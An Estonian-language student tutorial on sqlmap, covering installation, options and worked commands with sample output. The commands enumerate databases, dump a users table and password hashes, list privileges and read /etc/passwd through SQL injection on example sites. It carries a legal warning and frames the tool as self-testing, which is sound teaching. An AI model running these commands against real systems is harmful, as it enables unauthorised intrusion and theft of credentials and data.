Sqlmap
SQLmap
Autor: Elina Prudnikova
Rühm: A21
14.05.2015
Lühikirjeldus
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [1]
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [2]
Toetab mitmesuguseid andmebaasisüsteeme: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB ja HSQLDB. [3]
NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!
Paigaldamine
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [4]
Linux/Unix
SQLmap'i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon.
1. Paigalda Python (Debian, Ubuntu).
sudo apt-get install python2.6
2. Kontrolli versiooni.
python --version
3. Seejärel alla laadida SQLmap.
wget from http://sqlmap.sourceforge.net/#download
4. Pakkida see lahti ja käivitada.
tar zxvf sqlmap-0.9.tar.gz cd sqlmap python sqlmap.py
5. Edukal paigaldamisel tagastab SQLmap:
sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net Usage: python sqlmap.py [options] sqlmap.py: error: missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), -h for help
Abi paigaldamisel Linux/Unix all
Windows
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: Python
2. Alla laadida zip fail SQLmap'i kodulehelt, pakkida see lahti. SQLmap Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.
C:\sqlmapproject-sqlmap-2defc30>python ./sqlmap.py Usage: ./sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv anced help Press Enter to continue...
Süntaks
Ülevaade SQLmap'i süntaksist. Käsu üldkuju:
python sqlmap.py [options]
Mõned võtmed:
1. Sihtmärk, kellega ühendutakse:
-d DIRECT Otseühendus andmebaasiga -u URL, --url=URL Sihtmärgi URL (näiteks "www.target.com/vuln.php?id=1")
2. Päring, kuidas sihtmärgiga ühendutakse:
--data=DATA Andmestring saadetakse läbi POST'i --host=HOST HTTP Host'i päis --proxy=PROXY Kasutada HTTP proxy't et ühenduda URL'iga --delay=DELAY Ooteaeg sekundites HTTP päringute vahel --force-ssl Kasuta SSL/HTTPS'i
3. Optimiseerimine:
--threads=THREADS Samaaegsete HTTP(s) päringute arv (vaikimisi 1)
4. Andmebaas:
-a, --all Tagasta kõik --current-user Tagasta hetkel kasutuses oleva kasutaja --users Loetle kasutajad --passwords Loetle kasutajate parooliräsid --privileges Loetle kasutajate privileegid --roles Loetle kasutajate rollid --dbs Loetle andmebaasid --tables Loetle andmebaasi tabelid --columns Loetle andmebaasi tabeli veerud --schema Loetle andmebaasi skeem --dump Väljasta kogu andmebaasi sisu --dump-all Väljasta kõikide andmebaaside sisu --search Otsi veergu, tabelit ja/või andmebaasi nime -D DB Mis andmebaasist loetleda -T TBL Mis andmebaasi tabelist loetleda -C COL Mis tabeli veerust loetleda -U USER Mis kasutaja kohta loetleda
5. Failid:
--file-read=RFILE Loe fail süsteemist --file-write=WFILE Kirjuta fail süsteemi --file-dest=DFILE Absoluutne failitee kuhu kirjutada
Lisaks on SQLmap'il veel väga palju muid võtmeid.
Kasutamine
Kuidas kontrollida, kas veebisait on nõrk SQL injektsiooni suhtes?[5]
Olgu lehe aadress:
http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15
Lisame URL'i lõpu märgi '. Nüüd on lehe URL:
http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'
Kui leht tagastab SQL veateate, on see leht nõrk SQL injektsiooni suhtes.
Andmebaasid ja tabelid
1. Oletame, et tahame SQLmap'iga testida nõrka veebilehte. Veebilehega ühendumiseks kasutame võtit -u (URL).[6]
python sqlmap.py -u "http://www.site.com/section.php?id=51"
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[7]
[*] starting at 12:10:33 [12:10:33] [INFO] resuming back-end DBMS 'mysql' [12:10:34] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) --- [12:10:37] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada andmebaaside nimekirja, kasutades võtit --dbs:[8]
python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
Näidisväljund, mis näitab andmebaaside nimekirja:[9]
[*] starting at 12:12:56 [12:12:56] [INFO] resuming back-end DBMS 'mysql' [12:12:57] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) --- [12:13:00] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [12:13:00] [INFO] fetching database names [12:13:00] [INFO] the SQL query used returns 2 entries [12:13:00] [INFO] resumed: information_schema [12:13:00] [INFO] resumed: safecosmetics available databases [2]: [*] information_schema [*] safecosmetics
3. Leiame kõik tabelid, mis asuvad andmebaasis "safecosmetics":[10]
python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
Näidisväljund:[11]
[11:55:18] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [11:55:18] [INFO] fetching tables for database: 'safecosmetics' [11:55:19] [INFO] heuristics detected web page charset 'ascii' [11:55:19] [INFO] the SQL query used returns 216 entries [11:55:20] [INFO] retrieved: acl_acl [11:55:21] [INFO] retrieved: acl_acl_sections ........... more tables
4. Leiame veerud tabelis "users" andmebaasis "safecosmetics":[12]
python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
Näidisväljund:[13]
[12:17:39] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics' [12:17:41] [INFO] heuristics detected web page charset 'ascii' [12:17:41] [INFO] the SQL query used returns 8 entries [12:17:42] [INFO] retrieved: id [12:17:43] [INFO] retrieved: int(11) [12:17:45] [INFO] retrieved: name [12:17:46] [INFO] retrieved: text [12:17:47] [INFO] retrieved: password [12:17:48] [INFO] retrieved: text ....... [12:17:59] [INFO] retrieved: hash [12:18:01] [INFO] retrieved: varchar(128) Database: safecosmetics Table: users [8 columns] +-------------------+--------------+ | Column | Type | +-------------------+--------------+ | email | text | | hash | varchar(128) | | id | int(11) | | name | text | | password | text | | permission | tinyint(4) | | system_allow_only | text | | system_home | text | +-------------------+--------------+
5. Leiame eelnevast tabelist andmed:[14]
python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
Näidisväljund, mis on sarnane mysqldump käsule:[15]
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+ | id | hash | name | email | password | permission | system_home | system_allow_only | +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+ | 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> | +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
Kasutajad
1. Järgnev käsk tagastab infot kasutajate ja rollide kohta.[16]
python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10
Näidisväljund:[17]
.......... database management system users [5]: [*] ''@'localhost' [*] ''@'localhost.localdomain' [*] 'root'@'127.0.0.1' [*] 'root'@'localhost' [*] 'root'@'localhost.localdomain' ............. database management system users password hashes: [*] [1]: password hash: NULL [*] root [2]: password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 password hash: NULL ........ [*] %root% (administrator) [27]: privilege: ALTER privilege: ALTER ROUTINE privilege: CREATE privilege: CREATE ROUTINE privilege: CREATE TEMPORARY TABLES privilege: CREATE USER privilege: CREATE VIEW privilege: DELETE privilege: DROP privilege: EVENT privilege: EXECUTE privilege: FILE privilege: INDEX privilege: INSERT privilege: LOCK TABLES privilege: PROCESS privilege: REFERENCES privilege: RELOAD privilege: REPLICATION CLIENT privilege: REPLICATION SLAVE privilege: SELECT privilege: SHOW DATABASES privilege: SHOW VIEW privilege: SHUTDOWN privilege: SUPER privilege: TRIGGER privilege: UPDATE
2. Leiame info hetkel kasutusel oleva kasutaja, andmebaasi ja hostinime kohta:[18]
python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10
Näidisväljund:[19]
........ [11:32:33] [INFO] the back-end DBMS is MySQL web server operating system: Linux Red Hat Enterprise 6 (Santiago) web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0.11 [11:32:33] [INFO] fetching current user [11:32:33] [INFO] retrieving the length of query output [11:32:33] [INFO] retrieved: 14 [11:32:38] [INFO] retrieved: root@localhost current user: 'root@localhost' [11:32:38] [INFO] fetching current database [11:32:38] [INFO] retrieving the length of query output [11:32:38] [INFO] retrieved: 5 [11:32:40] [INFO] resumed: profile_data current database: 'profile_data' [11:32:40] [INFO] fetching server hostname [11:32:40] [INFO] retrieving the length of query output [11:32:40] [INFO] retrieved: 21 [11:32:48] [INFO] retrieved: localhost.localdomain hostname: 'localhost.localdomain' [11:32:48] [INFO] testing if current user is DBA [11:32:48] [INFO] fetching current user current user is DBA: False
3. Leiame kasutaja parooliräsi:[20]
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump
Näidisväljund:[21]
[10:59:15] [INFO] the SQL query used returns 1 entries [10:59:17] [INFO] retrieved: 24iYBc17xK0e. [10:59:18] [INFO] analyzing table dump for possible password hashes Database: sqldummywebsite Table: user_info [1 entry] +---------------+ | user_password | +---------------+ | 24iYBc17xK0e. | +---------------+
Failid
1. Faili lugemine kui on olemas vajalikud õigused, näiteks /etc/passwd:[22]
python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10
Kokkuvõte
SQLmap on väärtuslik töörist, selleks et mugavalt testida oma süsteemi SQL injektsioonide suhtes ja leida üles olemasolevad nõrkused. Teda on võimalik seadistada vastavalt enda vajadustele ja toetab paljusid andmebaasisüsteeme. Lisaks on ta kasutatav nii Windowsi kui Linux/Unix all.